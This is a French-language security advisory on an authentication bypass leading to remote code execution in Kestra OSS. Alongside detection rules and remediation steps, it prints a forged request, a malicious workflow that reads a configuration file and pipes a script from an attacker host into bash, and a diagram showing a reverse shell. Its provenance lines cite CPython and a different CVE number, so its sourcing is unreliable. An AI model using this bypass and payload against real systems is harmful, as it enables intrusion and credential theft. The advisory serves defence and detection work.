CVE-2026-49869 : contournement d'authentification et exécution de code à distance dans kestra OSS via suffixe d'URL
SCORE DE MENACE HERMES & COMPROMISSION DU MOTEUR D'ORCHESTRATION
Cible :Kestra OSS (Orchestrateur de flux de données et workflows) Le score CVSS v3.1 attribue à CVE-2026-49869 la note de 9.8 (Critique) et CVSS v4.0 la note de 10.0 (Critique). Le score de menace Hermes Threat Score lui assigne 98 (CRITIQUE). Cette sévérité maximale reflète une exploitation sans prérequis : il suffit à un attaquant distant d'ajouter le suffixe /configs à un point de terminaison de l'API REST pour contourner intégralement l'authentification, injecter un workflow malveillant avec des tâches script (Bash/Python) et obtenir un shell root dans le conteneur worker.
CVE-2026-49869: Authentication Bypass to Remote Code Execution in Kestra OSS via Path Suffix WhitelistingVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »Kestra est largement déployé pour orchestrer des pipelines de données critiques (ETL, machine learning, déploiements CI/CD) sur Kubernetes et environnements cloud.
| Paramètre | Spécification Technique | Contexte Opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2026-49869 | Référentiel NVD et catalogue CISA KEV |
| Avis de sécurité | GHSA-5vc5-wxxq-3fjx | GitHub Security Advisory |
| Composant vulnérable | kestra-core / AuthenticationFilter | Filtre d’interception HTTP Micronaut/Netty |
| Vecteur réseau | HTTP/HTTPS (Port par défaut 8080/TCP) | Interface Web et API REST exposées |
| Cause racine | Comparaison permissive de suffixe (endsWith) | Contournement d’autorisation par manipulation d’URI |
| Versions affectées | < 1.0.45 et 1.1.0 à < 1.3.21 | Instances de production Kestra OSS |
| Versions correctives | 1.0.45 et 1.3.21 | Correctifs officiels disponibles |
| Armement & exploitation | PoC public et scans automatisés par botnets | Déploiement de cryptomineurs et vol d’identifiants |
2. Décomposition technique : mécanique du contournement et RCE
Section intitulée « 2. Décomposition technique : mécanique du contournement et RCE »A. La logique défaillante dans le filtre d’authentification
Section intitulée « A. La logique défaillante dans le filtre d’authentification »Dans les versions vulnérables, la classe AuthenticationFilter vérifie si l’accès anonyme est autorisé en inspectant le chemin demandé par le client :
// Logique vulnérable dans Kestra AuthenticationFilterpublic boolean isAnonymousAccessAllowed(HttpRequest<?> request) { String path = request.getPath(); return path.equals("/api/v1/health") || path.endsWith("/configs") // Faille : tout chemin se terminant par /configs est exempté ! || path.startsWith("/ui/");}En n’imposant pas une égalité stricte (equals("/api/v1/configs")), toute requête forgée vers des endpoints sensibles peut échapper au contrôle en ajoutant un paramètre ou segment factice /configs :
POST /api/v1/flows/configs HTTP/1.1Host: kestra.corp.internal:8080Content-Type: application/x-yamlLe filtre constate que path.endsWith("/configs") est vrai et transmet directement la requête au contrôleur REST sans exiger d’en-tête Authorization: Bearer <token>.
+----------------------------------------------------------------------------------------------------+| ARCHITECTURE D'EXPLOITATION CVE-2026-49869 |+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] [Serveur Kestra (Port 8080)] │ │ [1] │─── HTTP POST /api/v1/flows/configs (Sans en-tête d'authentification) ─────>│ AuthenticationFilter : │ Charge utile : Définition YAML de workflow avec scripts shell │ path.endsWith("/configs") == TRUE │ │ -> Contournement du contrôle JWT ! │ │ [2] │ │ FlowController : │ │ Enregistre le workflow malveillant │ │ "backdoor-task" dans le namespace "default" │ │ [3] │─── HTTP POST /api/v1/executions/default/backdoor-task/configs ────────────>│ Exécution déclenchée sans auth │ │ [4] │ │ Worker Kestra : │ │ Exécute /bin/sh -c "curl evil/sh | sh" │ │ sous l'utilisateur root du conteneur │ │ [5] │<═══ Reverse Shell / Exfiltration des variables d'environnement et clés ═══│ Prise de contrôle totale (UID 0)+----------------------------------------------------------------------------------------------------+B. Payload et exécution de code
Section intitulée « B. Payload et exécution de code »Après contournement de l’authentification, l’attaquant soumet un workflow exploitant les plugins standards io.kestra.plugin.scripts.shell.Commands :
id: backdoor-tasknamespace: defaulttasks: - id: exec type: io.kestra.plugin.scripts.shell.Commands commands: - id - cat /app/kestra.yml - curl -s http://attacker.c2/revshell.sh | bashLe moteur Kestra planifie et exécute immédiatement le conteneur éphémère ou le processus worker avec des privilèges administrateur complets.
3. Threat intelligence, CISA KEV & exploitation Active
Section intitulée « 3. Threat intelligence, CISA KEV & exploitation Active »- Inscription au KEV de la CISA : ajoutée en urgence suite à des campagnes massives de détection automatisée visant les ports
8080et80. - Groupes APT et botnets : observation de botnets de cryptominage (XMRig) et de scripts automatisés visant l’exfiltration des métadonnées cloud (
169.254.169.254pour AWS/GCP). - Rayon d’impact : critique. La compromission d’un serveur d’orchestration livre l’accès direct aux clés d’API cloud, identifiants de bases de données et webhooks d’entreprise.
4. Matrice MITRE ATT&CK
Section intitulée « 4. Matrice MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Application dans l’Exploitation |
|---|---|---|---|
| Accès initial | T1190 | Exploit Public-Facing Application | Requête HTTP forgée vers le port Kestra 8080 |
| Évasion de défense | T1556 | Modify Authentication Process | Falsification du chemin d’URL pour berner le filtre |
| Exécution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Exécution de commandes arbitraires via le runner shell |
| Élévation de privilèges | T1068 | Exploitation for Privilege Escalation | Exécution directe sous le compte root du conteneur |
| Accès aux identifiants | T1552.001 | Credentials in Files | Lecture des configurations et secrets Kestra |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert http any any -> $HTTP_SERVERS 8080 ( msg:"HERMES DEFENSE - Tentative d'exploitation Kestra Auth Bypass (CVE-2026-49869)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/configs"; endswith; http.uri; pcre:"/\/api\/v1\/(flows|executions)\/.*\/configs$/i"; classtype:web-application-attack; sid:202649869; rev:1; reference:cve,2026-49869;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Abus de point de terminaison Kestra OSS par contournement d'authentificationid: a8b9c1d2-4986-4c22-b210-cve202649869-frstatus: productiondescription: Détecte les requêtes POST suspectes vers les API Kestra avec le suffixe /configs pour contourner l'authentificationauthor: Équipe Cyberdéfense Hermes Codexdate: 2026-09-11logsource: category: webserver service: kestra_access_logdetection: selection: cs_method: 'POST' cs_uri_stem|endswith: '/configs' cs_uri_stem|contains: - '/api/v1/flows' - '/api/v1/executions' filter_legit: cs_uri_stem: '/api/v1/configs' condition: selection and not filter_legitfields: - c_ip - cs_uri_stem - sc_statuslevel: criticaltags: - attack.initial_access - attack.t1190 - cve.2026.498696. Investigation forensique (DFIR) & requêtes de chasse
Section intitulée « 6. Investigation forensique (DFIR) & requêtes de chasse »Artefacts et traces forensiques :
Section intitulée « Artefacts et traces forensiques : »- Journaux d’accès HTTP : identifier les requêtes
POSTvers/api/v1/flows/*/configsou/api/v1/executions/*/configsrenvoyant un code200ou201en l’absence de jeton Bearer valide. - Base de données kestra : inspecter les tables
kestra_flowspour identifier tout workflow récemment créé contenant des tâches shell ou Python inconnues. - Arbre des processus du worker :
Fenêtre de terminal pstree -pa $(pgrep -f kestra)
Requête de chasse (Elasticsearch / Kibana) :
Section intitulée « Requête de chasse (Elasticsearch / Kibana) : »{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "wildcard": { "url.path": "*\/api\/v1\/*\/configs" } } ], "must_not": [ { "term": { "url.path": "/api/v1/configs" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Mise à jour immédiate : mettre à niveau Kestra OSS vers la version 1.0.45 (branche 1.0.x) ou 1.3.21 (branche 1.3.x).
- Isolement réseau : restreindre l’accès au port d’administration 8080/TCP exclusivement aux réseaux d’administration et passerelles VPN sécurisées ; ne jamais exposer Kestra directement sur l’Internet public.
- Exécution non-root : configurer les conteneurs workers Kestra avec des contextes de sécurité restreints (UID non privilégié,
readOnlyRootFilesystem: true,drop: ALL). - Renouvellement des secrets : en cas de suspicion de compromission, révoquer et renouveler immédiatement l’intégralité des identifiants cloud, bases de données et tokens stockés dans le coffre-fort Kestra.